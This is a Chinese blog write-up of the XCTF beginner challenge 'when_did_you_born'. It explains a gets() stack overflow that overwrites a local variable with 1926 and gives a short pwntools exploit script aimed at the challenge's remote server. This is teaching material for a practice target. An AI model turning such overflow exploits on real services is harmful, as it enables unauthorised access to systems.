欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

when_did_you_born(xctf)

程序员文章站 2022-05-15 20:25:29
...

0x0 程序保护和流程

保护:

when_did_you_born(xctf)

流程:

main()

when_did_you_born(xctf)

分析主要程序逻辑可知,要想获得flag必须让v5等于1926但是第一次输入时v5不能等于1925。但是我们可以通过gets(&v4)将v5的值覆盖成1926。

0x1 利用过程

v4变量距离rsp的偏移为0x0,v5变量距离rsp的变量为0x8,所以当v4=‘a’*8+p64(1926)时就可以获得flag。

0x2 exp

from pwn import *
#sh=process('./a')
sh=remote('124.126.19.106','37359')
sh.recv()
sh.sendline('25')
sh.recv()
payload='a'*8+p64(1926)
sh.sendline(payload)
sh.recv()
相关标签: xctf(新手区)